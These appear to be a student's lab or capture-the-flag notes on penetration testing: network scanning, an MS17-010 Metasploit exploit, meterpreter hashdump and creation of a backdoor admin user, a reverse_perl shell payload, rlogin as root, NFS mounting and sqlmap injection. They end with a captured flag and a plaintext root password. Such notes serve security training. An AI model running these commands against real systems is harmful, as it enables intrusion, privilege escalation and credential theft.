Gatsby Default StarterGatsby logo

#InvestigationMethodology #LinuxClient

We connected to the modem of the prof. We found the pass. 12345678 dhclient -v ifconfig to see the ip

first thing to do apt install nast

nast -m : to use IRP protocol and list the machines on the same subnet

netdiscover : all of the subnetworks that could exist on the network netdiscover -i eth0 -r 192.168.254.0/24 : , to find the the address of the device we'll exploit and to elimine the subnet mask and list more detailed

![[Pasted image 20240409170143.png]]

nmap -sT -vv -F [subnet mask address]/24 - network scanning tool : used for network exploration, host discovery, and security auditing

iptables -A INPUT -j LOG - linux kernel

nmap -sT -v -Pn -O -T5 -A 192.168.254.144/24 - to scan the open ports on the PC we'll exploit. hosts / mac address / ip addresses / security measures of the hosts on a network : like PCs, phones, routers etc.

nmap -sT -vv -F 192.168.255.0/24 we do it with the network address to scan machines

nmap -sT -vv -p- T5 -A 192.168.255.127 we do scan -.127 bc it had weird ports like 10000 so we scan all the ports on it

![[Pasted image 20240410144446.png]]

![[Pasted image 20240410100352.png]]

Metasploit

Finding vulnerabilities on a system and connecting in

msf service : to explore vulnerabilities on the system msfdb init : to create db msfconsole : to start the service

when inside the msf6 > we can do search anything like search microsoft or search ms17-010 then we do use 1 then show options ![[Pasted image 20240410103331.png]]

set rhosts 192.168.254.123 (the ip address of the PC we're attacking) : to attack to the Windows PC on the network with this IP address

  • could be rhost depending on the module

run to run it no we have changed the ip address of the host

![[Pasted image 20240410104258.png]]

meterpreter helps us to connect us to the hacked machine on the network.

  • actually, the machine is connected to us, it's like SSH. we can use commands on the machine.
  • we hacked the windows machine !!

getsystem to have the system rights getprivs to have the privileged rights hashdump ![[Pasted image 20240410113415.png]] shell to connect to the shell / cmd of the PC hacked ![[Pasted image 20240410105037.png]]

we created a user and put the user in the admins group though shell as an excersize.

![[Pasted image 20240410115850.png]]

A. Reconnaissance ipconfig or ifconfig we see IP/DNS/Gateway/Network DNS is provided usually by AD (Active Directory) 2. arp -a : we see 2 commands 1. nast 2. netdiscover 3. nmap - to scan 4. nessus or openvas - to scan vulnerabilities 1. we found ms17-010

B. Exploit/Weaponing 1. metasploit with msfconsole 1. search ms17-010 2. use 0 3. set rhosts [ip] 4. run or exploit 1. meterpreter is the intermediare between the shell and the exploited machine

C. Post exploitation

  1. meterpreter >
    1. getsystem
    2. getprivs
    3. hashdump
      1. john theripper
      2. hashcat
    4. sysinfo
    5. windows shell
      1. net user [..] /add
      2. net localgroups [..] /add
    6. linux server shell

the other way to login to windows shell : without metasploit

  1. netdiscover -i eth0 -r 192.168.254.0/24 - we do netdiscover to find the ip addresses on the subnet with the ip address of the subnet
  2. nmap -sT -v -Pn -O -T5 -A 192.168.254.144/24 - we do nmap to the client's ip address
  3. telnet 192.168.254.144 - we don't need to login but we see that there's an opening in telnet as well
  4. rlogin -l root 192.168.254.144 - to access to the root of the client

on linux ; exploit of RAM

we do searchsploit (to search in the list of all the exploits on the world) from bash shell or search from metapreter (to search only the exploits in the msfconsole, like files finishing with .rb) to find the vulnerabilities

i go to the bash -i to be able to run the shell in linux terminal after doing the run in msfconsole

linux_x86/local/46249.py - wouldnt work because its local

linux/remote/16850.rb - well search this throuh msfconsole search yaSSL

0.9.8c-1

![[Pasted image 20240410164748.png]]

alienvault ossim

  • path of all exploits ; /usr/share/exploitdb/exploits
  • to set a payload inside msfconsole in case we face the error of no payload defined : set payload cmd/unix/reverse_perl
  • also i might need to set LHOST as well entering my own IP address

should search for : to find something to be able to access to the root@ of the client we're trying to hack backdoor rse kal ![[Pasted image 20240410170919.png]]

then i'm in

i do id to understand which user account i have ;

![[Pasted image 20240410171718.png]] but bash -i to be able to be in the shell as the user account (root in this case)

![[Pasted image 20240410171810.png]]

RECAP

nmap cible

port protocol version 22/ftp ssh 4.7p1

searchsploit ssh 4.7p1 linux

rb : (metasploit) > msfconsole pl : perl (script.pl) py : python (script.pl) sh : bash (script.sh) c : compiler

gcc -o "executable" -i exploit.c

45233.py

to access through NFS and mnt

with the netdiscover we find the ip of the pc we'll be hacking on the network.

mount -t nfs 192.168.254.153:/ /mnt/

Last exercise

to search with the sqlmap :

sqlmap -u "https://192.168.255.127:10000" ' or 1=1 --' --forms --level=3 --risk=3

i open a port on Kali: ![[Pasted image 20240524162700.png]]

to connect from bash to my Kali machine: ![[Pasted image 20240524162641.png]]

in the user.txt file 3mp!r3{You_Manage_To_Break_To_My_Secure_Access}

mp de root : Ts&4&YurgtRX(=~h